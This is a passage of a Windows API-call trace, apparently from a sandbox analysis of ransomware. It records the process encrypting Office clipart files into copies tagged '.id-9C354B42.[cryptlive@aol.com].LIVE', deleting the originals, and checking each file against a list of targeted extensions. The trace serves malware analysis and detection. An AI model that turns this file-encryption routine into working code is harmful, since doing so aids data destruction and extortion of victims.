lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.692] SetEndOfFile (hFile=0x3d0) returned 1 [0147.692] CloseHandle (hObject=0x3d0) returned 1 [0147.692] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.692] SetEndOfFile (hFile=0x1ec) returned 1 [0147.694] CloseHandle (hObject=0x1ec) returned 1 [0147.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0147.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.695] lstrlenW (lpString=".doc") returned 4 [0147.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.695] lstrlenW (lpString=".docx") returned 5 [0147.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.695] lstrlenW (lpString=".pdf") returned 4 [0147.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.695] lstrlenW (lpString=".xls") returned 4 [0147.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.695] lstrlenW (lpString=".xlsx") returned 5 [0147.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.695] lstrlenW (lpString=".ppt") returned 4 [0147.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.696] lstrlenW (lpString=".zip") returned 4 [0147.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.696] lstrlenW (lpString=".rar") returned 4 [0147.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.696] lstrlenW (lpString=".bz2") returned 4 [0147.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.696] lstrlenW (lpString=".7z") returned 3 [0147.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.696] lstrlenW (lpString=".dbf") returned 4 [0147.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.696] lstrlenW (lpString=".1cd") returned 4 [0147.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.696] lstrlenW (lpString=".jpg") returned 4 [0147.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.696] lstrlenW (lpString=".doc") returned 4 [0147.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.696] lstrlenW (lpString=".docx") returned 5 [0147.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.696] lstrlenW (lpString=".pdf") returned 4 [0147.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.696] lstrlenW (lpString=".xls") returned 4 [0147.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.696] lstrlenW (lpString=".xlsx") returned 5 [0147.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.697] lstrlenW (lpString=".ppt") returned 4 [0147.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.697] lstrlenW (lpString=".zip") returned 4 [0147.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.697] lstrlenW (lpString=".rar") returned 4 [0147.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.697] lstrlenW (lpString=".bz2") returned 4 [0147.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.697] lstrlenW (lpString=".7z") returned 3 [0147.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.697] lstrlenW (lpString=".dbf") returned 4 [0147.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.697] lstrlenW (lpString=".1cd") returned 4 [0147.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0147.697] lstrlenW (lpString=".jpg") returned 4 [0147.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.697] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.697] lstrlenW (lpString="IN00919_.WMF") returned 12 [0147.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.698] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=6920) returned 1 [0147.698] CloseHandle (hObject=0x1ec) returned 1 [0147.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20 [0147.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.698] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.698] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.699] GetLastError () returned 0x0 [0147.699] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1b08, lpOverlapped=0x0) returned 1 [0147.701] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0147.702] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.702] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.703] SetEndOfFile (hFile=0x3d0) returned 1 [0147.703] CloseHandle (hObject=0x3d0) returned 1 [0147.703] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.703] SetEndOfFile (hFile=0x1ec) returned 1 [0147.705] CloseHandle (hObject=0x1ec) returned 1 [0147.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0147.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.707] lstrlenW (lpString=".doc") returned 4 [0147.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.707] lstrlenW (lpString=".docx") returned 5 [0147.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.707] lstrlenW (lpString=".pdf") returned 4 [0147.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.707] lstrlenW (lpString=".xls") returned 4 [0147.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.707] lstrlenW (lpString=".xlsx") returned 5 [0147.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.707] lstrlenW (lpString=".ppt") returned 4 [0147.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.707] lstrlenW (lpString=".zip") returned 4 [0147.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.707] lstrlenW (lpString=".rar") returned 4 [0147.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.707] lstrlenW (lpString=".bz2") returned 4 [0147.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.707] lstrlenW (lpString=".7z") returned 3 [0147.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.707] lstrlenW (lpString=".dbf") returned 4 [0147.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.707] lstrlenW (lpString=".1cd") returned 4 [0147.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.707] lstrlenW (lpString=".jpg") returned 4 [0147.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.708] lstrlenW (lpString=".doc") returned 4 [0147.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString=".docx") returned 5 [0147.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.708] lstrlenW (lpString=".pdf") returned 4 [0147.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString=".xls") returned 4 [0147.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.708] lstrlenW (lpString=".xlsx") returned 5 [0147.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.708] lstrlenW (lpString=".ppt") returned 4 [0147.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.708] lstrlenW (lpString=".zip") returned 4 [0147.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.708] lstrlenW (lpString=".rar") returned 4 [0147.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString=".bz2") returned 4 [0147.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString=".7z") returned 3 [0147.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.708] lstrlenW (lpString=".dbf") returned 4 [0147.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.708] lstrlenW (lpString=".1cd") returned 4 [0147.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0147.708] lstrlenW (lpString=".jpg") returned 4 [0147.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.709] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.709] lstrlenW (lpString="IN00956_.WMF") returned 12 [0147.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.709] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1256) returned 1 [0147.709] CloseHandle (hObject=0x1ec) returned 1 [0147.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20 [0147.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.710] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.710] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.710] GetLastError () returned 0x0 [0147.710] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4e8, lpOverlapped=0x0) returned 1 [0147.755] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4f0, lpOverlapped=0x0) returned 1 [0147.756] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.756] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.757] SetEndOfFile (hFile=0x3d0) returned 1 [0147.757] CloseHandle (hObject=0x3d0) returned 1 [0147.757] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.757] SetEndOfFile (hFile=0x1ec) returned 1 [0147.759] CloseHandle (hObject=0x1ec) returned 1 [0147.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0147.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.811] lstrlenW (lpString=".doc") returned 4 [0147.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.811] lstrlenW (lpString=".docx") returned 5 [0147.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.812] lstrlenW (lpString=".pdf") returned 4 [0147.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.812] lstrlenW (lpString=".xls") returned 4 [0147.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.812] lstrlenW (lpString=".xlsx") returned 5 [0147.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.812] lstrlenW (lpString=".ppt") returned 4 [0147.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.812] lstrlenW (lpString=".zip") returned 4 [0147.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.812] lstrlenW (lpString=".rar") returned 4 [0147.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.812] lstrlenW (lpString=".bz2") returned 4 [0147.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.812] lstrlenW (lpString=".7z") returned 3 [0147.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.812] lstrlenW (lpString=".dbf") returned 4 [0147.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.812] lstrlenW (lpString=".1cd") returned 4 [0147.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.812] lstrlenW (lpString=".jpg") returned 4 [0147.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.812] lstrlenW (lpString=".doc") returned 4 [0147.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.812] lstrlenW (lpString=".docx") returned 5 [0147.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.812] lstrlenW (lpString=".pdf") returned 4 [0147.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.812] lstrlenW (lpString=".xls") returned 4 [0147.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.813] lstrlenW (lpString=".xlsx") returned 5 [0147.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.813] lstrlenW (lpString=".ppt") returned 4 [0147.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.813] lstrlenW (lpString=".zip") returned 4 [0147.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.813] lstrlenW (lpString=".rar") returned 4 [0147.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.813] lstrlenW (lpString=".bz2") returned 4 [0147.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.813] lstrlenW (lpString=".7z") returned 3 [0147.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.813] lstrlenW (lpString=".dbf") returned 4 [0147.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.813] lstrlenW (lpString=".1cd") returned 4 [0147.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0147.813] lstrlenW (lpString=".jpg") returned 4 [0147.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.813] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.813] lstrlenW (lpString="J0086426.WMF") returned 12 [0147.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.814] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=21782) returned 1 [0147.814] CloseHandle (hObject=0x3b4) returned 1 [0147.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20 [0147.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.814] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.814] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.815] GetLastError () returned 0x0 [0147.815] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x5516, lpOverlapped=0x0) returned 1 [0147.819] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x5520, lpOverlapped=0x0) returned 1 [0147.821] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.821] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.821] SetEndOfFile (hFile=0x380) returned 1 [0147.821] CloseHandle (hObject=0x380) returned 1 [0147.821] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.821] SetEndOfFile (hFile=0x3b4) returned 1 [0147.824] CloseHandle (hObject=0x3b4) returned 1 [0147.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 